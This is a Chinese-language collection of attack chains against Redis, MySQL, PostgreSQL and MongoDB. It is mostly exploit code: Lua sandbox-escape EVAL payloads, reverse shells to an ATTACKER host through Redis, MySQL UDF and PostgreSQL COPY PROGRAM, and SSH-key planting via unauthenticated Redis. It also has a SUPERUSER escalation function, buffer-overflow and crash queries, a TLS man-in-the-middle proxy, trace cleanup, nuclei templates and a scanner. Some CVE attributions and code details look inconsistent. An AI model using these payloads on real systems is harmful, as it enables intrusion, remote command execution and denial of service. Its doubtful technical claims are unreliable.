数据库系统高危攻击链专题

Redis EVAL 命令 → Lua 沙箱内执行 → debug.setmetatable 注入元方法
→ JSON 编码触发 __tostring → 访问 package.loaded.os
→ os.execute() 执行任意系统命令 → RCE

# 利用 Lua 沙箱逃逸执行 id 命令
redis-cli EVAL "local mt = {}; mt.__tostring = function() return 'pwned' end; local t = setmetatable({}, mt); debug.setmetatable(t); local os = package.loaded.os; os.execute('id')" 0

-- 通过 debug 库获取完整的调用栈信息
local payload = [[
local debug = debug
local info = debug.getinfo(0)
local mt = {}
mt.__tostring = function()
    local os = package.loaded.os
    if os then
        os.execute('bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"')
    end
    return 'exploited'
end
local t = setmetatable({}, mt)
debug.setmetatable(t)
local cjson = require('cjson')
cjson.encode(t)
]]
-- 通过 EVAL 执行上述 Lua 代码
-- redis-cli EVAL "<payload>" 0

-- 以低权限用户连接数据库后执行
-- 第一步：创建恶意函数
CREATE OR REPLACE FUNCTION public.pwn() RETURNS void AS $$
BEGIN
    -- 利用权限检查缺陷修改当前用户为超级用户
    EXECUTE 'ALTER USER ' || current_user || ' WITH SUPERUSER';
END;
$$ LANGUAGE plpgsql SECURITY DEFINER;

-- 第二步：触发函数执行
SELECT public.pwn();

-- 第三步：验证权限提升
SELECT usesuper FROM pg_user WHERE usename = current_user;
-- 预期返回 t（true）

# MySQL 复制协议缓冲区溢出 PoC
# 模拟恶意主库向从库发送超长复制事件
import socket
import struct

def build_overflow_packet():
    # MySQL 复制事件头
    # 事件类型: QUERY_EVENT = 2
    event_type = 2
    server_id = 1
    # 构造超长事件数据触发缓冲区溢出
    # 正常数据长度应 < 1024 字节，此处构造 8192 字节
    overflow_data = b'A' * 8192

    # 构建复制事件包
    # 时间戳(4) + 类型(1) + 服务器ID(4) + 数据长度(4) + 数据位置(4) + 标志(2)
    header = struct.pack('<IBIIIH',
        0xFFFFFFFF,     # 时间戳
        event_type,     # 事件类型
        server_id,      # 服务器ID
        len(overflow_data) + 19,  # 事件总长度
        0,              # 下一个事件位置
        0x0001          # 标志位
    )

    # 数据库名 + 表名 + SQL 数据
    db_name = b'test\x00'
    query_data = overflow_data

    return header + db_name + query_data

def exploit_slave(slave_host, slave_port):
    # 连接 MySQL 从库的复制端口
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect((slave_host, slave_port))

    # 发送 COM_BINLOG_DUMP 请求（模拟从库请求复制）
    # 此处简化为直接发送溢出数据包
    packet = build_overflow_packet()
    sock.send(packet)

    # 接收响应，可能包含泄露的堆内存数据
    response = sock.recv(65535)
    print(f"[*] 收到响应数据长度: {len(response)}")
    print(f"[*] 响应数据（前200字节）: {response[:200]}")

    sock.close()

# 使用示例
# exploit_slave('192.168.1.100', 3306)

-- 构造畸形的 WKB 数据触发 GIS 组件内存损坏
-- 第一步：创建包含空间数据的表
CREATE TABLE IF NOT EXISTS geo_test (
    id INT PRIMARY KEY AUTO_INCREMENT,
    geom GEOMETRY NOT NULL
);

-- 第二步：插入正常数据
INSERT INTO geo_test (geom) VALUES (ST_GeomFromText('POINT(1 1)'));

-- 第三步：使用 ST_GeomFromWKB 传入畸形数据触发崩溃
-- 构造无效的 WKB 字节序列
SELECT ST_AsText(
    ST_GeomFromWKB(
        UNHEX(
            CONCAT(
                '01',
                '01000000',
                REPEAT('FF', 1024)
            )
        )
    )
);

-- 第四步：利用空间函数链触发 Use-After-Free
SELECT ST_Distance(
    ST_GeomFromWKB(UNHEX('01030000000100000004000000000000000000F03F000000000000F03F0000000000000040000000000000F03F00000000000000400000000000000040000000000000F03F000000000000F03F')),
    ST_GeomFromWKB(UNHEX(REPEAT('DEAD', 2048)))
);

-- 通过构造特殊 SQL 查询触发 MySQL 核心组件崩溃
-- 需要高权限用户执行

-- 方法一：利用子查询嵌套触发无限递归
SELECT * FROM (
    SELECT 1 AS a
    UNION ALL
    SELECT a + 1 FROM (
        SELECT 1 AS a
    ) AS t
    WHERE a < (
        SELECT COUNT(*) FROM information_schema.tables t1,
        information_schema.tables t2,
        information_schema.tables t3
    )
) AS result;

-- 方法二：利用窗口函数与聚合函数的异常组合
SELECT ROW_NUMBER() OVER (
    PARTITION BY (
        SELECT GROUP_CONCAT(
            TABLE_NAME ORDER BY TABLE_NAME DESC SEPARATOR ','
        ) FROM information_schema.tables
    )
) FROM information_schema.columns
ORDER BY (SELECT 1/0 FROM DUAL LIMIT 0);

-- 构造超复杂 JOIN 查询使优化器栈溢出
-- 需要高权限用户执行

-- 生成深层嵌套子查询
SELECT 1
FROM (SELECT 1 AS a FROM DUAL) t1
JOIN (SELECT 1 AS b FROM DUAL) t2 ON t1.a = t2.b
JOIN (SELECT 1 AS c FROM DUAL) t3 ON t2.b = t3.c
JOIN (SELECT 1 AS d FROM DUAL) t4 ON t3.c = t4.d
JOIN (SELECT 1 AS e FROM DUAL) t5 ON t4.d = t5.e
JOIN (SELECT 1 AS f FROM DUAL) t6 ON t5.e = t6.f
JOIN (SELECT 1 AS g FROM DUAL) t7 ON t6.f = t7.g
JOIN (SELECT 1 AS h FROM DUAL) t8 ON t7.g = t8.h
JOIN (SELECT 1 AS i FROM DUAL) t9 ON t8.h = t9.i
JOIN (SELECT 1 AS j FROM DUAL) t10 ON t9.i = t10.j
JOIN (SELECT 1 AS k FROM DUAL) t11 ON t10.j = t11.k
JOIN (SELECT 1 AS l FROM DUAL) t12 ON t11.k = t12.l
JOIN (SELECT 1 AS m FROM DUAL) t13 ON t12.l = t13.m
JOIN (SELECT 1 AS n FROM DUAL) t14 ON t13.m = t14.n
JOIN (SELECT 1 AS o FROM DUAL) t15 ON t14.n = t15.o
JOIN (SELECT 1 AS p FROM DUAL) t16 ON t15.o = t16.p
WHERE EXISTS (
    SELECT 1 FROM (
        SELECT * FROM information_schema.tables t1
        CROSS JOIN information_schema.columns t2
        CROSS JOIN information_schema.tables t3
    ) sub
    WHERE sub.TABLE_NAME = t1.a
);

# MongoDB TLS 证书验证绕过 PoC
# 演示中间人攻击场景
import ssl
import socket
import threading

# 攻击者伪造的 MongoDB 服务器
FAKE_MONGO_PORT = 27018
REAL_MONGO_HOST = '192.168.1.50'
REAL_MONGO_PORT = 27017

def fake_mongo_handler(client_sock, client_addr):
    # 使用自签名证书建立 TLS 连接
    # 该证书的 SAN 字段与真实 MongoDB 服务器不匹配
    # 但由于 CVE-2023-37480，客户端仍会接受该证书
    context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
    context.load_cert_chain(
        certfile='/tmp/fake_cert.pem',
        keyfile='/tmp/fake_key.pem'
    )

    try:
        tls_sock = context.wrap_socket(client_sock, server_side=True)
        # 成功建立 TLS 连接，说明证书验证被绕过
        print(f"[!] 中间人连接建立成功: {client_addr}")

        # 转发流量到真实 MongoDB 服务器
        real_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        real_sock.connect((REAL_MONGO_HOST, REAL_MONGO_PORT))

        # 双向转发数据并记录
        def forward(src, dst, label):
            try:
                while True:
                    data = src.recv(4096)
                    if not data:
                        break
                    print(f"[{label}] 截获数据: {data[:100].hex()}")
                    dst.sendall(data)
            except Exception:
                pass

        t1 = threading.Thread(target=forward, args=(tls_sock, real_sock, 'C→S'))
        t2 = threading.Thread(target=forward, args=(real_sock, tls_sock, 'S→C'))
        t1.start()
        t2.start()
        t1.join()
        t2.join()
    except ssl.SSLError as e:
        print(f"[-] TLS 握手失败: {e}")
    finally:
        client_sock.close()

def start_mitm_proxy():
    server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    server.bind(('0.0.0.0', FAKE_MONGO_PORT))
    server.listen(5)
    print(f"[*] 伪造 MongoDB 代理监听在 0.0.0.0:{FAKE_MONGO_PORT}")
    print(f"[*] 目标真实服务器: {REAL_MONGO_HOST}:{REAL_MONGO_PORT}")

    while True:
        client_sock, addr = server.accept()
        t = threading.Thread(target=fake_mongo_handler, args=(client_sock, addr))
        t.daemon = True
        t.start()

# start_mitm_proxy()

# 检测 Redis 未授权访问
redis-cli -h TARGET_IP -p 6379 INFO server

# 利用未授权访问写入 SSH 公钥
redis-cli -h TARGET_IP -p 6379
> CONFIG SET dir /root/.ssh/
> CONFIG SET dbfilename authorized_keys
> SET payload "\n\nssh-rsa AAAAB3...attacker@kali\n\n"
> SAVE

-- MySQL UDF 注入 RCE
-- 前提：MySQL 用户具有 FILE 权限，且 secure_file_priv 未限制写入路径

-- 第一步：将恶意 UDF 库文件写入 MySQL 插件目录
SELECT UNHEX('ELF_BINARY_HEX_CONTENT')
INTO DUMPFILE '/usr/lib/mysql/plugin/evil_udf.so';

-- 第二步：创建引用恶意库的函数
CREATE FUNCTION sys_exec RETURNS INTEGER SONAME 'evil_udf.so';

-- 第三步：通过自定义函数执行系统命令
SELECT sys_exec('id');
SELECT sys_exec('bash -c "bash -i >& /dev/tcp/ATTACKER/4444 0>&1"');

-- PostgreSQL COPY 命令执行系统命令
-- 前提：需要超级用户权限

-- 第一步：创建临时表存储命令输出
CREATE TABLE cmd_output(result TEXT);

-- 第二步：通过 COPY PROGRAM 执行命令并将输出导入表中
COPY cmd_output FROM PROGRAM 'id';

-- 第三步：查看命令执行结果
SELECT * FROM cmd_output;

-- 第四步：获取反弹 Shell
COPY cmd_output FROM PROGRAM 'bash -c "bash -i >& /dev/tcp/ATTACKER/4444 0>&1"';

-- 清理痕迹
DROP TABLE cmd_output;

POST /redis/eval HTTP/1.1
Host: target:6379
Content-Type: application/x-www-form-urlencoded

EVAL%20local%20mt%20%3D%20%7B%7D%3B%20mt.__tostring%20%3D%20function()%20return%20%27pwned%27%20end%3B%20local%20t%20%3D%20setmetatable(%7B%7D%2C%20mt)%3B%20debug.setmetatable(t)%3B%20local%20os%20%3D%20package.loaded.os%3B%20os.execute(%27id%20%3E%20%2Ftmp%2Fpwned%27)%200

POST /api/redis/command HTTP/1.1
Host: redis-admin.target.com
Content-Type: application/json
Authorization: Bearer <token>

{
    "command": "EVAL",
    "args": [
        "local mt = {}; mt.__tostring = function() return 'pwned' end; local t = setmetatable({}, mt); debug.setmetatable(t); local os = package.loaded.os; os.execute('id > /tmp/pwned')",
        "0"
    ]
}

POST /mysql/admin/query HTTP/1.1
Host: mysql-admin.target.com:8080
Content-Type: application/x-www-form-urlencoded

query=SELECT%20ST_AsText(ST_GeomFromWKB(UNHEX(CONCAT('01','01000000',REPEAT('FF',1024)))))

id: redis-cve-2022-24735-lua-sandbox-escape

info:
  name: Redis Lua Sandbox Escape RCE
  author: security-research
  severity: critical
  description: |
    Redis Lua 脚本引擎沙箱逃逸漏洞，攻击者可通过构造恶意 Lua 脚本
    逃逸沙箱限制执行任意系统命令。影响 Redis < 7.0.12, < 6.2.14, < 5.0.18
  reference:
    - https://github.com/redis/redis/security/advisories/GHSA-jwv8-7cpr-rx9j
    - https://nvd.nist.gov/vuln/detail/CVE-2022-24735
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10.0
    cve-id: CVE-2022-24735
  tags: redis,rce,sandbox-escape,cisa-kev

tcp:
  - inputs:
      - data: "EVAL \"local mt = {}; mt.__tostring = function() return 'nuclei_test' end; local t = setmetatable({}, mt); debug.setmetatable(t); local os = package.loaded.os; os.execute('id > /tmp/nuclei_cve_2022_24735')\" 0\r\n"

    host:
      - "{{Hostname}}"
    port: 6379

    read-size: 2048
    matchers-condition: and
    matchers:
      - type: word
        words:
          - "OK"
          - "nuclei_test"
        condition: or

      - type: word
        words:
          - "ERR wrong number of arguments"
        negative: true

id: redis-unauthorized-access

info:
  name: Redis Unauthorized Access Detection
  author: security-research
  severity: critical
  description: Redis 未授权访问检测，默认配置无密码认证
  tags: redis,unauth,misconfig

tcp:
  - inputs:
      - data: "INFO server\r\n"

    host:
      - "{{Hostname}}"
    port: 6379

    read-size: 4096
    matchers-condition: and
    matchers:
      - type: word
        words:
          - "redis_version"
          - "tcp_port:6379"
        condition: and

      - type: word
        words:
          - "NOAUTH"
          - "ERR"
        negative: true

id: mysql-cve-2023-22084-detect

info:
  name: MySQL Replication Buffer Overflow Detection
  author: security-research
  severity: high
  description: |
    MySQL 复制组件缓冲区溢出漏洞检测，通过发送超长复制事件包
    检测目标是否存在漏洞。影响 MySQL 8.0.34 及之前版本
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2023-22084
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.1
    cve-id: CVE-2023-22084
  tags: mysql,overflow,replication

tcp:
  - inputs:
      - data: "{{hex_decode('4e0000000a352e372e34332d6c6f6700000000000000000000000000000000000000000000000000')}}"

    host:
      - "{{Hostname}}"
    port: 3306

    read-size: 4096
    matchers:
      - type: word
        words:
          - "5.7."
          - "8.0."
        condition: or

#!/usr/bin/env python3
"""
数据库高危漏洞自动化扫描与验证工具
覆盖 Redis / MySQL / PostgreSQL / MongoDB 七大 CVE
仅供授权安全测试使用
"""

import socket
import struct
import ssl
import json
import argparse
import sys
from datetime import datetime


class Colors:
    """终端颜色输出"""
    RED = '\033[91m'
    GREEN = '\033[92m'
    YELLOW = '\033[93m'
    BLUE = '\033[94m'
    RESET = '\033[0m'


def log(level, msg):
    """带时间戳的日志输出"""
    timestamp = datetime.now().strftime('%Y-%m-%d %H:%M:%S')
    colors = {
        'INFO': Colors.BLUE,
        'SUCCESS': Colors.GREEN,
        'WARNING': Colors.YELLOW,
        'ERROR': Colors.RED
    }
    color = colors.get(level, Colors.RESET)
    print(f"{color}[{timestamp}][{level}]{Colors.RESET} {msg}")


class RedisScanner:
    """Redis 漏洞扫描模块"""

    def __init__(self, host, port=6379, timeout=5):
        self.host = host
        self.port = port
        self.timeout = timeout

    def _send_command(self, cmd):
        """发送 Redis 命令并返回响应"""
        try:
            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            sock.settimeout(self.timeout)
            sock.connect((self.host, self.port))
            sock.send(f"{cmd}\r\n".encode())
            response = sock.recv(65535).decode(errors='replace')
            sock.close()
            return response
        except Exception as e:
            return None

    def check_unauthorized_access(self):
        """检测 Redis 未授权访问"""
        log('INFO', f'检测 Redis 未授权访问: {self.host}:{self.port}')
        response = self._send_command('INFO server')
        if response and 'redis_version' in response:
            version = 'unknown'
            for line in response.split('\r\n'):
                if line.startswith('redis_version:'):
                    version = line.split(':')[1].strip()
            log('SUCCESS', f'[未授权访问] Redis 存在未授权访问漏洞! 版本: {version}')
            return True, version
        return False, None

    def check_cve_2022_24735(self):
        """检测 CVE-2022-24735 Lua 沙箱逃逸"""
        log('INFO', f'检测 CVE-2022-24735: {self.host}:{self.port}')

        # 第一步：检查是否存在未授权访问
        info_resp = self._send_command('INFO server')
        if not info_resp:
            log('ERROR', '无法连接 Redis 服务')
            return False

        # 第二步：尝试 Lua 沙箱逃逸 PoC
        # 使用安全的检测命令（写入标记文件而非执行危险操作）
        exploit_cmd = (
            'EVAL "local mt = {}; '
            'mt.__tostring = function() return \'cve_check\' end; '
            'local t = setmetatable({}, mt); '
            'debug.setmetatable(t); '
            'local os = package.loaded.os; '
            'if os then return \'VULNERABLE\' else return \'PATCHED\' end" 0'
        )
        response = self._send_command(exploit_cmd)

        if response and 'VULNERABLE' in response:
            log('SUCCESS', '[CVE-2022-24735] Redis Lua 沙箱逃逸漏洞存在!')
            return True
        elif response and 'PATCHED' in response:
            log('INFO', '[CVE-2022-24735] Redis 已修复该漏洞')
            return False
        else:
            log('WARNING', f'[CVE-2022-24735] 检测结果不确定: {response}')
            return False

    def full_scan(self):
        """执行完整扫描"""
        results = {}
        results['未授权访问'], version = self.check_unauthorized_access()
        if version:
            results['版本'] = version
        results['CVE-2022-24735'] = self.check_cve_2022_24735()
        return results


class MySQLScanner:
    """MySQL 漏洞扫描模块"""

    def __init__(self, host, port=3306, timeout=5):
        self.host = host
        self.port = port
        self.timeout = timeout

    def _get_mysql_version(self):
        """获取 MySQL 服务器版本"""
        try:
            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            sock.settimeout(self.timeout)
            sock.connect((self.host, self.port))
            # 接收 MySQL 握手包
            data = sock.recv(4096)
            sock.close()

            if data and len(data) > 5:
                # 解析握手包中的版本字符串
                # MySQL 握手包格式：包长度(3) + 序列号(1) + 协议版本(1) + 版本字符串
                payload_len = struct.unpack('<I', data[:3] + b'\x00')[0]
                protocol_ver = data[4]
                if protocol_ver == 10:
                    version_str = data[5:].split(b'\x00')[0].decode()
                    return version_str
        except Exception as e:
            log('ERROR', f'MySQL 连接失败: {e}')
        return None

    def check_version_vulnerability(self, version_str):
        """根据版本号检查是否受已知 CVE 影响"""
        if not version_str:
            return {}

        results = {}
        log('INFO', f'MySQL 版本: {version_str}')

        # 解析版本号
        # 版本格式示例：8.0.33, 5.7.42
        parts = version_str.split('-')[0].split('.')
        if len(parts) >= 3:
            major, minor, patch = int(parts[0]), int(parts[1]), int(parts[2])

            # CVE-2023-22084：复制组件缓冲区溢出
            if (major == 8 and minor == 0 and patch <= 34) or \
               (major == 8 and minor == 3 and patch <= 0):
                results['CVE-2023-22084'] = True
                log('WARNING', '[CVE-2023-22084] MySQL 版本可能受复制组件缓冲区溢出影响')
            else:
                results['CVE-2023-22084'] = False

            # CVE-2023-21980：GIS 组件内存损坏
            if (major == 8 and minor == 0 and patch <= 34) or \
               (major == 5 and minor == 7 and patch <= 43):
                results['CVE-2023-21980'] = True
                log('WARNING', '[CVE-2023-21980] MySQL 版本可能受 GIS 组件内存损坏影响')
            else:
                results['CVE-2023-21980'] = False

            # CVE-2023-21977：核心组件 DoS
            if (major == 8 and minor == 0 and patch <= 33) or \
               (major == 5 and minor == 7 and patch <= 42):
                results['CVE-2023-21977'] = True
                log('WARNING', '[CVE-2023-21977] MySQL 版本可能受核心组件 DoS 影响')
            else:
                results['CVE-2023-21977'] = False

            # CVE-2024-21008：优化器组件 DoS
            if (major == 8 and minor == 0 and patch <= 36) or \
               (major == 8 and minor == 3 and patch <= 0):
                results['CVE-2024-21008'] = True
                log('WARNING', '[CVE-2024-21008] MySQL 版本可能受优化器组件 DoS 影响')
            else:
                results['CVE-2024-21008'] = False

        return results

    def full_scan(self):
        """执行完整扫描"""
        version = self._get_mysql_version()
        results = self.check_version_vulnerability(version)
        results['版本'] = version
        return results


class MongoDBScanner:
    """MongoDB 漏洞扫描模块"""

    def __init__(self, host, port=27017, timeout=5):
        self.host = host
        self.port = port
        self.timeout = timeout

    def check_tls_cert_validation(self):
        """检测 CVE-2023-37480 TLS 证书验证绕过"""
        log('INFO', f'检测 CVE-2023-37480: {self.host}:{self.port}')

        try:
            # 尝试使用不匹配的证书建立 TLS 连接
            context = ssl.create_default_context()
            # 故意不设置 check_hostname 和 verify_mode 来模拟漏洞行为
            context.check_hostname = False
            context.verify_mode = ssl.CERT_NONE

            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            sock.settimeout(self.timeout)
            sock.connect((self.host, self.port))

            # 尝试 TLS 握手
            tls_sock = context.wrap_socket(sock, server_hostname='fake.host.com')
            tls_sock.close()

            log('WARNING', '[CVE-2023-37480] TLS 连接成功（使用不匹配的主机名），可能存在证书验证绕过')
            return True
        except ssl.SSLError:
            log('INFO', '[CVE-2023-37480] TLS 证书验证正常')
            return False
        except Exception as e:
            log('ERROR', f'连接失败: {e}')
            return False

    def full_scan(self):
        """执行完整扫描"""
        results = {}
        results['CVE-2023-37480'] = self.check_tls_cert_validation()
        return results


class ReportGenerator:
    """扫描报告生成器"""

    def __init__(self):
        self.findings = []

    def add_findinging(self, target, scanner_type, results):
        """添加扫描发现"""
        self.findings.append({
            'target': target,
            'scanner': scanner_type,
            'results': results,
            'timestamp': datetime.now().isoformat()
        })

    def generate_report(self):
        """生成 JSON 格式扫描报告"""
        report = {
            'scan_time': datetime.now().isoformat(),
            'total_targets': len(self.findings),
            'findings': self.findings,
            'summary': {
                'critical': 0,
                'high': 0,
                'medium': 0
            }
        }

        # 统计漏洞数量
        for finding in self.findings:
            for key, value in finding['results'].items():
                if value is True:
                    if 'CVE-2022-24735' in key or '未授权访问' in key:
                        report['summary']['critical'] += 1
                    elif key.startswith('CVE-2023-22084') or key.startswith('CVE-2023-5868'):
                        report['summary']['high'] += 1
                    else:
                        report['summary']['medium'] += 1

        return json.dumps(report, indent=2, ensure_ascii=False)


def main():
    """主函数"""
    parser = argparse.ArgumentParser(
        description='数据库高危漏洞自动化扫描工具'
    )
    parser.add_argument('--target', '-t', required=True, help='目标 IP 地址')
    parser.add_argument('--type', choices=['redis', 'mysql', 'mongodb', 'all'],
                        default='all', help='数据库类型')
    parser.add_argument('--port', '-p', type=int, help='目标端口（默认自动选择）')
    parser.add_argument('--output', '-o', help='报告输出文件路径')

    args = parser.parse_args()

    log('INFO', f'开始扫描目标: {args.target}')
    log('INFO', f'扫描类型: {args.type}')

    report = ReportGenerator()

    # Redis 扫描
    if args.type in ('redis', 'all'):
        port = args.port or 6379
        scanner = RedisScanner(args.target, port)
        results = scanner.full_scan()
        report.add_findinging(args.target, 'Redis', results)

    # MySQL 扫描
    if args.type in ('mysql', 'all'):
        port = args.port or 3306
        scanner = MySQLScanner(args.target, port)
        results = scanner.full_scan()
        report.add_findinging(args.target, 'MySQL', results)

    # MongoDB 扫描
    if args.type in ('mongodb', 'all'):
        port = args.port or 27017
        scanner = MongoDBScanner(args.target, port)
        results = scanner.full_scan()
        report.add_findinging(args.target, 'MongoDB', results)

    # 输出报告
    report_json = report.generate_report()
    print('\n' + '=' * 60)
    print('扫描报告')
    print('=' * 60)
    print(report_json)

    if args.output:
        with open(args.output, 'w', encoding='utf-8') as f:
            f.write(report_json)
        log('SUCCESS', f'报告已保存至: {args.output}')


if __name__ == '__main__':
    main()